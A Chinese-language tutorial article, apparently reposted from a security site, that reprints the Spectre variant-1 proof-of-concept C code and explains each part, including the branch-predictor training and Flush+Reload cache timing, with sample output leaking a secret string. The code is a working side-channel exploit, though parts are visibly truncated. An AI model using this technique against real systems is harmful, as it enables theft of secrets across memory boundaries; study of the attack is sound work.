當前位置:
首頁 > 新聞 > Spectre 攻擊詳解

Spectre 攻擊詳解

在本文中,我們將詳細介紹Spectre實現攻擊的細節,該攻擊針對的是AMD、ARM和Intel CPU上發現的漏洞。

源代碼

源代碼如下:

#include

#include

#include

#ifdef _MSC_VER

#include/* for rdtscp and clflush */

#pragma optimize("gt", on)

#else

#include/* for rdtscp and clflush */

#endif

/* sscanf_s only works in MSVC. sscanf should work with other compilers*/

#ifndef _MSC_VER

#define sscanf_s sscanf

#endif

/********************************************************************

Victim code.

********************************************************************/

unsigned int array1_size = 16;

uint8_t unused1[64];

uint8_t array1[160] = ;

uint8_t unused2[64];

uint8_t array2[256 * 512];

char* secret = "The Magic Words are Squeamish Ossifrage.";

uint8_t temp = 0; /* Used so compiler won"t optimize out victim_function() */

void victim_function(size_t x)

{

if (x

{

temp &= array2[array1[x] * 512];

}

}

/********************************************************************

Analysis code

********************************************************************/

#define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time

/* Report best guess in value[0] and runner-up in value[1] */

void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2])

{

static int results[256];

int tries, i, j, k, mix_i;

unsigned int junk = 0;

size_t training_x, x;

register uint64_t time1, time2;

volatile uint8_t* addr;

for (i = 0; i

results[i] = 0;

for (tries = 999; tries > 0; tries--)

{

/* Flush array2[256*(0..255)] from cache */

for (i = 0; i

_mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */

/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */

training_x = tries % array1_size;

for (j = 29; j >= 0; j--)

{

_mm_clflush(&array1_size);

for (volatile int z = 0; z

{

} /* Delay (can also mfence) */

/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */

/* Avoid jumps in case those tip off the branch predictor */

x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */

x = (x | (x >> 16)); /* Set x=-1 if j%6=0, else x=0 */

x = training_x ^ (x & (malicious_x ^ training_x));

/* Call the victim! */

victim_function(x);

}

/* Time reads. Order is lightly mixed up to prevent stride prediction */

for (i = 0; i

{

mix_i = ((i * 167) + 13) & 255;

addr = &array2[mix_i * 512];

time1 = __rdtscp(&junk); /* READ TIMER */

junk = *addr; /* MEMORY ACCESS TO TIME */

time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */

if (time2

results[mix_i]++; /* cache hit - add +1 to score for this value */

}

/* Locate highest & second-highest results results tallies in j/k */

j = k = -1;

for (i = 0; i

{

if (j = results[j])

{

k = j;

j = i;

}

else if (k = results[k])

{

k = i;

}

}

if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))

break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */

}

results[0] ^= junk; /* use junk so code above won"t get optimized out*/

value[0] = (uint8_t)j;

score[0] = results[j];

value[1] = (uint8_t)k;

score[1] = results[k];

}

int main(int argc, const char* * argv)

{

printf("Putting "%s" in memory, address %p
", secret, (void *)(secret));

size_t malicious_x = (size_t)(secret - (char *)array1); /* default for malicious_x */

int score[2], len = strlen(secret);

uint8_t value[2];

for (size_t i = 0; i

array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */

if (argc == 3)

{

sscanf_s(argv[1], "%p", (void * *)(&malicious_x));

malicious_x -= (size_t)array1; /* Convert input value into a pointer */

sscanf_s(argv[2], "%d", &len);

printf("Trying malicious_x = %p, len = %d
", (void *)malicious_x, len);

}

printf("Reading %d bytes:
", len);

while (--len >= 0)

{

printf("Reading at malicious_x = %p... ", (void *)malicious_x);

readMemoryByte(malicious_x++, value, score);

printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));

printf("0x%02X="%c" score=%d ", value[0],

(value[0] > 31 && value[0]

if (score[1] > 0)

printf("(second best: 0x%02X="%c" score=%d)", value[1],

(value[1] > 31 && value[1]

score[1]);

printf("
");

}

#ifdef _MSC_VER

printf("Press ENTER to exit
");

getchar();/* Pause Windows console */

#endif

return (0);

}

第5行和第8行包含了用於Flush+Reload 緩存攻擊的rdtscp和clflush 的適當文件。注意,這些指令在所有的處理器上都是不可用的。例如,rdtscp(用於讀取時間戳計數器)通常只在較新的CPU上可用。rdtsc更常見,但不是序列化,這意味著CPU可能會對其重新排序,因此對於定時攻擊,會將rdtsc與諸如cpuid之類的序列化指令一起使用。如果沒有可用的rdtscp或者 rdtsc,還有其他的選擇(我計劃在後續的文章中詳細說明在ARM上如何解決這個問題)。

a#ifdef _MSC_VER

#include /* for rdtscp and clflush */

#pragma optimize("gt", on)

#else

#include /* for rdtscp and clflush */

#endif

在第21行,rray1代表了受害者和攻擊者之間的共享內存空間。我們不關心該區域裡面是什麼。其代碼大小是160位元組,但這只是一個例子:它的另一種代碼大小可以正常工作。

array1被兩個未使用的數組包圍:這些數組對於確保我們命中不同的緩存路徑是很有用的。在許多處理器(如,Intel i3、i5、i7、ARM Cortex A53等)L1緩存每一路徑有64個位元組。

uint8_t unused1[64];

uint8_t array1[160] = ;

uint8_t unused2[64];

在第25行,我們有保密信息。該保密信息只有受害者知道,也正是攻擊者想要恢復的東西。

在PoC中,受害者和攻擊者共享相同的進程。這只是為了讓代碼更簡單。在現實中,受害者和攻擊者共享一個內存空間,攻擊者會具有調用victim_function()(第29-35行)的能力。並且我想知道為什麼密碼原文是「The Magic Words are Squeamish Ossifrage」。這是很奇怪的句子!在本例中,Wikipedia將其解釋為從1977年開始的RSA密碼挑戰的解決方案。

然後,在第27-35行,有易受攻擊的受害者函數。我對第27行的理解是,它是一個調整,以確保編譯器不會在編譯時刪除victim_function() ,victim_function()本身在 Spectre paper的第4部分中得到了很好的解釋。有了超過array1_size x的值,容易受到Spectre攻擊的處理器可以進行如下操作:

1. 讀取array1_size。這一操作會導致緩存丟失。

2. 儘管處理器正抓取array1_size——由於存在緩存缺失,array1_size是「長」的——但是分支預測器假設它是正確的(不正確的猜測)。

3. 推測讀取array1[x]。該讀取非常快速,因為它是緩存命中。

4. 讀取array2[array1[x]* 512]。讀取時間很長(緩存缺失)。

5. 雖然步驟4中的讀取正在等待,但是步驟1的值已經到達。處理器檢測到其猜測不正確,並重新調整了自身狀態。

uint8_t temp = 0; /* Used so compiler won"t optimize out victim_function() */

void victim_function(size_t x)

{

if (x

{

temp &= array2[array1[x] * 512];

}

}

不知你是否注意到了,文章提到的 k*256?在這裡k指的是array1[x](也就是array1[x] * 256),然而在代碼array1[x] * 512中也含有array1[x]。乘法因子需要與緩存線路的大小相等。大概在實現的時候,作者意識到對於大多數Intel處理器來說,每一個緩存線路大小都是64位元組,正如我們之前所說。即64 * 8 = 512。這個值依賴於處理器。從第43行開始,我們有了readMemoryByte() 函數。該函數將嘗試猜測位於給定地址的值。對於所有可能的位元組值(有256個),該函數將測試使用Flush+Reload緩存攻擊訪問該值所需的時間。各種時序存儲在results表中,但是函數只返回了兩個最佳猜測。

第52-53行僅僅初始化結果表。這裡沒有緩存攻擊。

for (i = 0; i

results[i] = 0;

緩存攻擊是在第54行和第89行之間實現的。首先,從一個純凈的狀態開始,我們刪除了整個array2表。該表是與攻擊者共享的,它需要能夠存儲256個不同的緩存線路。而緩存線路的大小是512位。

for (i = 0; i

_mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */

接下來,我們的想法是調用victim_function() 幾次(參見第62-77行)。在序列中,它將:

_mm_clflush(&array1_size);

首先,刷新緩存線路,接下來,根據我的理解,下面的代碼行是用來確保刷新完成的,處理器不會重新排序。該評論提到,mfence可能會被發布,mfence是Intel和AMD的系列化指令。我相信一個cpuida也能工作。

for (volatile int z = 0; z

{

} /* Delay (can also mfence) */

第三,計算x,這些線路很難理解。我相信作者們本可以找到一些更加可讀的東西;)但是我們會看到這是一個很好的調整。

/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */

/* Avoid jumps in case those tip off the branch predictor */

x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */

x = (x | (x >> 16)); /* Set x=-1 if j%6=0, else x=0 */

x = training_x ^ (x & (malicious_x ^ training_x));

第四,調用victim_function()

與其試圖理解步驟3中的代碼行,還不如更容易地使用aprintf編輯這些代碼,並觀察程序運行時的值。這就是我們得到的:

...

j=23 tries=999 malicious_x=18446744073707453224 training_x=7 x=7

j=22 tries=999 malicious_x=18446744073707453224 training_x=7 x=7

j=21 tries=999 malicious_x=18446744073707453224 training_x=7 x=7

j=20 tries=999 malicious_x=18446744073707453224 training_x=7 x=7

j=19 tries=999 malicious_x=18446744073707453224 training_x=7 x=7

j=18 tries=999 malicious_x=18446744073707453224 training_x=7 x=18446744073707453224

j=17 tries=999 malicious_x=18446744073707453224 training_x=7 x=7

j=16 tries=999 malicious_x=18446744073707453224 training_x=7 x=7

j=15 tries=999 malicious_x=18446744073707453224 training_x=7 x=7

j=14 tries=999 malicious_x=18446744073707453224 training_x=7 x=7

j=13 tries=999 malicious_x=18446744073707453224 training_x=7 x=7

j=12 tries=999 malicious_x=18446744073707453224 training_x=7 x=18446744073707453224

...

這些行將生成5次小寫的x,這將導致victim_function(x)接受分支。這五次是用來訓練分支預測器假設分支會被取走。由於之前的5次訓練,一個易受攻擊的過程將會在第6次迭代中執行if分支。

在一個錯誤的分支猜測調用了victim_function() 之後,我們會看到在緩存中訪問給定的位元組值需要多長時間。這才是緩存攻擊的核心(第79-89行)。

/* Time reads. Order is lightly mixed up to prevent stride prediction */

for (i = 0; i

{

mix_i = ((i * 167) + 13) & 255;

addr = &array2[mix_i * 512];

time1 = __rdtscp(&junk); /* READ TIMER */

junk = *addr; /* MEMORY ACCESS TO TIME */

time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */

if (time2

results[mix_i]++; /* cache hit - add +1 to score for this value */

}

正如注釋所言,我們並不是簡單地測量一個序列中每個位元組的訪問時間,而是將它們混合在一起,這樣處理器就無法猜測下一步它將訪問哪個位元組,然後優化訪問。這是第82行處理的。

然後,在第83行,addr = &array2[mix_i * 512] 計算緩存線路的地址來進行檢查。在下面84-86行中,我們測定訪問該緩存線路中一個值的時間。如果速度很快,它就是緩存命中。如果是慢的,就是一個緩存缺失。如果我們有一個緩存命中,就意味著在之前對victim_function()的調用過程中,緩存線路是新近被訪問的。請記住,之前對victim_function()的調用是用一個大寫的x來運行的,目的是誤導處理器。在執行過程中,處理器會推測性地(並錯誤地)訪問array1[x],其x比數組的大小還大得多,因此導致對內存的讀取遠遠超過了數組。x的選擇(或猜測)將會在密文寫入的區域被命中。例如,假設處理器讀取密文中Magic的字母M。因此,array1[x]="M",從而在第33行,處理器訪問array2["M"*512]。

提醒一下,這是victim_function()中的第33行:

temp &= array2[array1[x] * 512];

當處理器訪問array2["M"*512] 時,它緩存的行號是(byte)"M"。所以,如果你跟著我到了這一步,你就會明白,這一操作揭示了密文中那個特定字元的值,就像mix_i = array1[x] = "M"。因此,我們將記錄下來results["M"]是一個很好的緩存命中:

if (time2

results[mix_i]++; /* cache hit - add +1 to score for this value */

對CACHE_HIT_THRESHOLD的測試非常清楚。在其之下是一個緩存命中,之上就不是。對於在研究的時間裡,通過各種各樣的測試來獲得的CACHE_HIT_THRESHOLD的值,我持懷疑態度。為什麼測試mix_i != array1[tries % array1_size]?我不確定這一點,但我懷疑它排除了這個索引,因為該索引通常會提供更多的緩存命中,因為嘗試是當前的索引值。

readMemoryByte的其餘部分並不是很有趣:它只選擇它所發現的兩個位元組值,該選擇是通過驚人的緩存命中實現的。

我們現在跳到了main()開頭的118行:

size_t malicious_x = (size_t)(secret - (char *)array1); /* default for malicious_x */

這裡發生了什麼?在進程內存的布局中,我們有array1,然後是一串位元組,然後是密文。因此,當我們讀取array1超出其在victim_function()的限制時,如果我們想在密文中讀取位元組,我們需要跳過一個給定的位元組偏移量。要計算偏移量,我們知道 array1 + offset = secret。所以, array1 + offset = secret:)

注意,如果我們想運行Spectre代碼來讀取內存的其他部分,這是完全有可能的。見第130 - 124行:

if (argc == 3)

{

sscanf_s(argv[1], "%p", (void * *)(&malicious_x));

malicious_x -= (size_t)array1; /* Convert input value into a pointer */

sscanf_s(argv[2], "%d", &len);

printf("Trying malicious_x = %p, len = %dn", (void *)malicious_x, len);

}

第一個參數是要讀取的地址。第二個參數是我們想要讀取的位元組數。在下面的示例中,我們提供了密文的地址,只讀取了10個位元組。

$ ./spectre.out 0x400d08 10

Putting "The Magic Words are Squeamish Ossifrage." in memory

Reading 10 bytes:

Reading at malicious_x = 0xffffffffffdfec68 ... Success: 0x54="T" score=2

Reading at malicious_x = 0xffffffffffdfec69 ... Success: 0x68="h" score=2

Reading at malicious_x = 0xffffffffffdfec6a ... Success: 0x65="e" score=2

Reading at malicious_x = 0xffffffffffdfec6b ... Success: 0x20=" " score=2

Reading at malicious_x = 0xffffffffffdfec6c ... Success: 0x4D="M" score=2

Reading at malicious_x = 0xffffffffffdfec6d ... Success: 0x61="a" score=2

Reading at malicious_x = 0xffffffffffdfec6e ... Success: 0x67="g" score=2

Reading at malicious_x = 0xffffffffffdfec6f ... Success: 0x69="i" score=2

Reading at malicious_x = 0xffffffffffdfec70 ... Success: 0x63="c" score=2

Reading at malicious_x = 0xffffffffffdfec71 ... Success: 0x20=" " score=2

我們也可以試著讀取比密文長度更多的位元組。例如,下面我們讀取100個位元組,並識別內存中的Putting %s字元串,等等。

$ ./spectre.out 0x400d08 100

...

Reading at malicious_x = 0xffffffffffdfec8f ... Success: 0x2E="." score=2

Reading at malicious_x = 0xffffffffffdfec90 ... Success: 0x00="?" score=2

Reading at malicious_x = 0xffffffffffdfec91 ... Success: 0x50="P" score=2

Reading at malicious_x = 0xffffffffffdfec92 ... Success: 0x75="u" score=2

Reading at malicious_x = 0xffffffffffdfec93 ... Success: 0x74="t" score=2

Reading at malicious_x = 0xffffffffffdfec94 ... Success: 0x74="t" score=2

Reading at malicious_x = 0xffffffffffdfec95 ... Success: 0x69="i" score=2

Reading at malicious_x = 0xffffffffffdfec96 ... Success: 0x6E="n" score=2

Reading at malicious_x = 0xffffffffffdfec97 ... Success: 0x67="g" score=2

Reading at malicious_x = 0xffffffffffdfec98 ... Success: 0x20=" " score=2

Reading at malicious_x = 0xffffffffffdfec99 ... Success: 0x27=""" score=2

Reading at malicious_x = 0xffffffffffdfec9a ... Success: 0x25="%" score=2

Reading at malicious_x = 0xffffffffffdfec9b ... Success: 0x73="s" score=2

Reading at malicious_x = 0xffffffffffdfec9c ... Success: 0x27=""" score=2

Reading at malicious_x = 0xffffffffffdfec9d ... Success: 0x20=" " score=2

Reading at malicious_x = 0xffffffffffdfec9e ... Success: 0x69="i" score=2

Reading at malicious_x = 0xffffffffffdfec9f ... Success: 0x6E="n" score=2

Reading at malicious_x = 0xffffffffffdfeca0 ... Success: 0x20=" " score=2

Reading at malicious_x = 0xffffffffffdfeca1 ... Success: 0x6D="m" score=2

Reading at malicious_x = 0xffffffffffdfeca2 ... Success: 0x65="e" score=2

Reading at malicious_x = 0xffffffffffdfeca3 ... Success: 0x6D="m" score=2

Reading at malicious_x = 0xffffffffffdfeca4 ... Success: 0x6F="o" score=2

Reading at malicious_x = 0xffffffffffdfeca5 ... Success: 0x72="r" score=2

Reading at malicious_x = 0xffffffffffdfeca6 ... Success: 0x79="y" score=2

Reading at malicious_x = 0xffffffffffdfeca7 ... Success: 0x0A="?" score=2

Reading at malicious_x = 0xffffffffffdfeca8 ... Success: 0x00="?" score=2

第133-145行嘗試讀取內存中一個給定偏移量(malicious_x)中的len位元組,使用Spectre攻擊,該攻擊是在readMemoryByte()中實現的。

while (--len >= 0)

{

printf("Reading at malicious_x = %p... ", (void *)malicious_x);

readMemoryByte(malicious_x++, value, score);

...

回想一下,我們為readMemoryByte()返回最多的兩個值,記錄了兩個以上的緩存命中。就我個人而言,在我嘗試過的所有案例中,只有一個值或一個都沒有。如果沒有,程序就會顯示「Unclear」這個詞。如果有一個或兩個值,程序將顯示成功並輸出值(參見第137-144行)。

希望你會感到跟隨本文學習代碼的愉快。


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

繞過安卓SSL驗證證書的四種方式
如何在macOS或iOS環境中加密任意郵件

TAG:嘶吼RoarTalk |